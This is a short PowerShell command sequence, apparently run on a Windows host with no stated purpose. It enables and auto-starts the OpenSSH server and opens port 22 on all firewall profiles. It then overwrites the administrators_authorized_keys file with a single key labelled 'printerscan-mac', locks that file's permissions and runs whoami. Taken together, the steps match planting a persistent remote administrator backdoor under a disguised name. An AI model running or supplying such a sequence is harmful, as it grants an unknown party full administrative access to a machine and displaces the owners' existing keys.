Start-Service sshd
Set-Service sshd -StartupType Automatic
New-NetFirewallRule -Name sshd-any -DisplayName "OpenSSH (any profile)" -Protocol TCP -LocalPort 22 -Action Allow -Profile Any -ErrorAction SilentlyContinue
Set-Content -Path C:\ProgramData\ssh\administrators_authorized_keys -Value 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM9mfgiEIdSn6DfmLPTMkA2GmP0RAIYo/ntfD4NN2dnW printerscan-mac'
icacls C:\ProgramData\ssh\administrators_authorized_keys /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
whoami